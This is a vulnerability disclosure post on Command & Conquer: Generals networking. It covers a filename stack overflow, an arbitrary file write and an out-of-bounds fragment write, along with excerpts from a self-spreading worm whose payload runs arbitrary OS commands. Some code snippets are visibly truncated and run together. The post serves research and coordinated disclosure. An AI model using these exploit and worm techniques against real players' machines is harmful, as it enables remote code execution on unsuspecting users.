# General Graboids: Worms and Remote Code Execution in Command & Conquer

_[this work was conducted collaboratively by Bryan Alexander and Jordan Whitehead]_

This post details several vulnerabilities discovered in the popular online game Command & Conquer: Generals. We recently presented some of this work at an information security conference and this post contains technical details about the game’s network architecture, its exposed attack surface, discovered vulnerabilities, and full details of a worm we developed to demonstrate impact.

Full source code, including PoCs, can be found in our public Github repository here. Though the game is considered end-of-life by Electronic Arts, publicly available community patches are available addressing these issues; for more information see this project.

## Research introduction

In early 2025, EA Games released the source code for Command & Conquer: Generals (C&C:G), the final installment in the real-time strategy (RTS) series popular in the late 1990’s and early 2000’s. Included in this source release was Zero Hour, the first and only expansion released in 2003, the same year as Generals. The game was released with both single and multiplayer gameplay, with multiplayer supporting LAN and online lobbies via the GameSpy service. Gamespy eventually went defunct in 2014 and along with it the online C&C:G servers.

Junkyard is an end-of-life pwnathon where researchers bring zero-day vulnerabilities to end-of-life (EoL) products, be it hardware, software, firmware, or a combination of the three. Points are given based on impact, presentation engagement and quality, and overall silliness. The event is held during Districtcon, a relatively new information security conference held yearly in Washington DC. We loved the idea of the event and were eager to identify potential targets to contribute. C&C:G fit the bill as both interesting and EoL’d.

When we first started the project we were kicking around ideas for fuzzing the network layer, but once we spent a little bit of time with the code, we found there really was no need.

## Target overview

The source code includes all core components including the engine, networking stack, and various clients, but does not include models and other proprietary dependencies (such as third-party licensed tooling). This means the game cannot be built straight from the repository as is. Instead of attempting to build the game, we instead picked up a few licenses from Steam to provide dynamic instrumentation alongside our static code review.

When a client starts a game lobby, UDP port 8086 is opened up. This is the lobby port and exclusively processes meta-game commands and requests, such as player join, leave, chat, and more. For game packets used to synchronize state, trigger actions, and other combat activities, a separate port is opened once the game begins on port 8080.

While C&C:G has a peer-to-peer based networking architecture where the host can function as a packet router to all clients, it’s not relevant to the overall attack surface. Each client that connects must be accessible over both of these ports. When played on LAN, this means 0.0.0.0:8086 and 0.0.0.0:8088 must both be routable.

Packet format to both ports follows a similar structure with a few key differences:

“`
+————————————————————-+ | Wordwise XOR/Endian-swap Encrypted Payload | | | | +———————-+——————————–+ | | | CRC32 (LE) | 4 bytes | | | +———————-+——————————–+ | | | Magic | 0D F0 | | | +———————-+——————————–+ | | | Header | 1 bytes | | | +———————-+——————————–+ | | | Data | up to MAX_FRAG_SIZE bytes | | | +———————-+——————————–+ | | | Padding | 4 byte boundary | | | +——————————————————-+ | +————————————————————-+
“`

The above is the general shape of each packet, which includes a mandatory four byte CRC32 and two byte magic header. Each packet is XOR encoded using a hard-coded key and has a relatively robust packet fragmentation mechanism.

The header is a type header that roughly follows the standard tag-length-value (TLV) format and is recursively parsed by receiving clients. The following is an example of a `NETCOMMANDTYPE_FILE` packet (received on the lobby port):

“`
+———+—————————+——————————-+ | Offset | Bytes | Description | +———+—————————+——————————-+ | 00–03 | fc 37 a9 53 | CRC32 (LE) | +———+—————————+——————————-+ | 04–05 | 0d f0 | Magic | +———+—————————+——————————-+ | 06 | 54 | Command Type Tag (‘T’) | +———+—————————+——————————-+ | 07 | 12 | Command Type Value | +———+—————————+——————————-+ | 08 | 44 | Data Type Tag (‘D’) | +———+—————————+——————————-+ | 09–N | | First Data Value | +———+—————————+——————————-+ | N–N+4 | 04 00 00 00 | Data Length (LE uint32) | +———+—————————+——————————-+ | N–N+4 | 41 41 41 41 | Second Data Value (“AAAA”) | +———+—————————+——————————-+ | N–N | 40 40 | Padding (4 byte boundary) | +———+—————————+——————————-+
“`

The type tag is specified at offset 07 (0x12) and the data for that tag follows the data type tag at offset 08. This structure allows each type to individually parse its section and optionally support multiple types per packet.

Message parsing takes place inside NetPacket objects and, as you might expect, parses the command type tag inside a massive if/else statement:

“`
if (commandType == NETCOMMANDTYPE_GAMECOMMAND) { msg = readGameMessage(data, offset); } else if (commandType == NETCOMMANDTYPE_ACKBOTH) { msg = readAckBothMessage(data, offset); } else if (commandType == NETCOMMANDTYPE_ACKSTAGE1) { msg = readAckStage1Message(data, offset); } else if (commandType == NETCOMMANDTYPE_ACKSTAGE2) { msg = readAckStage2Message(data, offset); …
“`

Handlers are then responsible for parsing the data portion and actioning it as necessary.

## Vulnerabilities

### Filename Stack Overflow

We discovered the first memory corruption vulnerability in the net command handlers `NetPacket::readFileMessage` and `NetPacket::readFileAnnounceMessage`. These commands could be sent to any peer inside a multiplayer game (even if the attacker were not a member of the game).

“`
NetCommandMsg * NetPacket::readFileMessage(UnsignedByte *data, Int &i) { NetFileCommandMsg *msg = newInstance(NetFileCommandMsg); char filename[_MAX_PATH]; char *c = filename; while (data[i] != 0) { *c = data[i]; ++c; ++i; } *c = 0; ++i; msg->setPortableFilename(AsciiString(filename)); // it’s transferred as a portable filename UnsignedInt dataLength = 0; memcpy(&dataLength, data + i, sizeof(dataLength)); i += sizeof(dataLength); UnsignedByte *buf = NEW UnsignedByte[dataLength]; memcpy(buf, data + i, dataLength); i += dataLength; msg->setFileData(buf, dataLength); return msg; }
“`

While not quite as simple as grepping for memcpy, it was easy to catch the stack buffer of size `_MAX_PATH` next to a loop copying untrusted data until hitting a NULL. We confirmed the issue at first by injecting packets in the processing loop using Frida, then later through a Python client.

“`
(3d80.b28): Access violation – code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0ccc5974 ebx=1f138298 ecx=41414141 edx=0019f700 esi=0ccad888 edi=ffffffff eip=44444444 esp=0019f900 ebp=00000013 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 44444444 ?? ???
“`

Proving out exploitation for this bug was a nostalgic experience. The game runs in 32-bit mode and many of the libraries used are not randomized with ASLR. This meant that this bug alone was sufficient to gain code execution on a remote machine. While game packets do have a limited length, they also support a fragmented packet format that allows for larger payloads through a `NetCommandWrapperList` object. With no client authentication and a simple static XOR for “encryption”, we were able to make a static payload that could exploit any game peer. (The “just for fun” comment is in the original source.)

“`
static inline void encryptBuf( unsigned char *buf, Int len ) { UnsignedInt mask = 0x0000Fade; UnsignedInt *uintPtr = (UnsignedInt *) (buf); for (int i=0 ; idoesFileExist(msg->getRealFilename().str())) { DEBUG_LOG((“File exists already!n”)); //return; } UnsignedByte *buf = msg->getFileData(); Int len = msg->getFileLength(); File *fp = TheFileSystem->openFile(msg->getRealFilename().str(), File::CREATE | File::BINARY | File::WRITE); if (fp) { fp->write(buf, len); fp->close(); fp = NULL; DEBUG_LOG((“Wrote %d bytes to file %s!n”,len,msg->getRealFilename().str())); }
“`

### Out-of-Bounds Write

Another interesting issue we found was in the packet fragmentation logic used earlier to support our large exploit payload.

“`
void NetCommandWrapperListNode::copyChunkData(NetWrapperCommandMsg *msg) { if (msg == NULL) { DEBUG_CRASH((“Trying to copy data from a non-existent wrapper command message”)); return; } if (m_chunksPresent[msg->getChunkNumber()] == TRUE) { // we already received this chunk, no need to recopy it. return; } m_chunksPresent[msg->getChunkNumber()] = TRUE; UnsignedInt offset = msg->getDataOffset(); memcpy(m_data + offset, msg->getData(), msg->getDataLength()); ++m_numChunksPresent; }
“`

In the above function the `msg->getDataOffset()` call returns a controlled `UnsignedInt` without any restrictions. The `msg->getDataLength()` is likewise controlled by the sender. `msg->getData()` points to unfiltered packet data, resulting in a very straightforward out-of-bounds write from any offset to the `m_data` member. The size of the `m_data` member is determined by the initial wrapper command, and no checks are made to ensure the subsequent chunks of data are within the allocation.

“`
frag = b”” frag += b’Tx11′ frag += b”C” + struct.pack(“userName).c_str()); OutputDebugStringA(format(“[!] hostName: %sn”, msg->hostName).c_str()); OutputDebugStringA(format(“[!] game IP address: %08x %sn”, msg->GameJoined.gameIP, uintToIP(msg->GameJoined.gameIP).c_str()).c_str()); OutputDebugStringA(format(“[!] user IP address: %08x %sn”, msg->GameJoined.playerIP, uintToIP(msg->GameJoined.playerIP).c_str()).c_str());
“`

This gives us a full list of players in a game in addition to the IP address of each joined user.

Determining if we’ve infected a player or not is a little more tricky due to the disparate spreading nature of worms. While we can trivially track who we’ve infected within the bounds of a single game, once the worm spreads to other players in other games, another mechanism is needed. For simplicity’s sake we’ve opted to simply track who was infected in a single game. To determine this outside the game, we could implement “are you infected?” magic packets that would respond if they were or remain silent if they were not.

We’ve already established how to obtain a player IP address and now all that’s left is to send the payload. This is done using the strategy outlined in the delivery section above.

_Payloads_

Once players in a game have been infected the real fun can begin. Our worm implements the following infector packet types:

“`
enum INFECTOR_TYPE { INFECTOR_CMD, INFECTOR_ACTION, };
“`

`INFECTOR_CMD` is used to execute arbitrary operating system commands. It was mostly set up for testing, but it’s common for any self-respecting worm to feature this ability so we decided to leave it.

`INFECTOR_ACTION` allows for manipulation of the internal game engine. C&C:G uses a rudimentary scripting engine for use by bots and in-game actions. The game engine implements this under its `ScriptEngine` and you can find the massive switch statement with all supported script actions here. Within our worm, since there is no ASLR, we can invoke the executing functions by address; the following demonstrates how to force the player to sell everything:

“`
typedef void(__thiscall* SellEverything_t)(void* thisplayer); #define FUN_Player_SellEverything ((SellEverything_t)0x454fa0) // v1.05 C&C:G .. void** pPlayerList = *GPTR_ThePlayerList; void* pLocalPlayer = pPlayerList[INDX_PlayerList_m_local]; FUN_Player_SellEverything(pLocalPlayer);
“`

There is a catch to this, however. The engine is intended only to be used for the local game state and does not percolate changes across players in the game. This, unfortunately, means changes to the local game state desynchronize the player and cause a disconnect. Not ideal!

While we did not investigate how much effort it would take to manually (or automatically via some undiscovered ScriptEngine capability) distribute game updates, a variety of script actions exist that impact only the local instance. This includes things like displaying text, playing sound files, adjusting the camera, and others. These are ultimately what we implemented in the current payload.

## Fixes

After initial discovery and creation of the PoCs, we reached out to EA Games in August 2025 to report these issues. EA was helpful but confirmed that the issues were not within scope of their support.

EA also received an early copy of our presentation slides for review which we’ve included in the project repository linked above.

Even though C&C:G is a legacy title with no active support, we thought the vulnerabilities were significant enough to warrant CVEs for community tracking. We reached out to EA Games, who are a CNA, to provide CVE’s but they declined on the basis that they do not issue CVEs for legacy titles. We have escalated this conversation to MITRE and are currently in the process of obtaining these for the described bugs. We’ll update this post once they become available.

In December of 2025 we reached out over Discord to maintainers of a community run fork/patch of the game, GeneralsGameCode. We coordinated with developers to ensure that they were aware of the issues in the game engine, and had appropriate patches. Some of these vulnerabilities were already being tracked in the community by December, having been independently discovered by community members. We worked with the maintainers to ensure their understanding of the severity of those issues, and disclose other issues. You can see some of the relevant fixes here:

We want to thank the community developers for their quick response and fixes! It is amazing to see the effort and passion that goes into keeping games like this one alive.

## Timeline

– 2025-08-06: Atredis Partners sent an initial notification to vendor

– 2025-08-06: EA Games confirms receipt of the reports

– 2025-08-07: EA Games requests additional platform information

– 2025-08-11: EA Games validates the three vulnerabilities and assigns two high severity and one medium severity

– 2025-08-11: Atredis follows up with additional questions on remediation and disclosure

– 2025-08-26: EA Games provides clarifying information on disclosure and patching

– 2025-12-03: Contacted Legionnaire from https://legi.cc/genpatcher/ to start community disclosure over Discord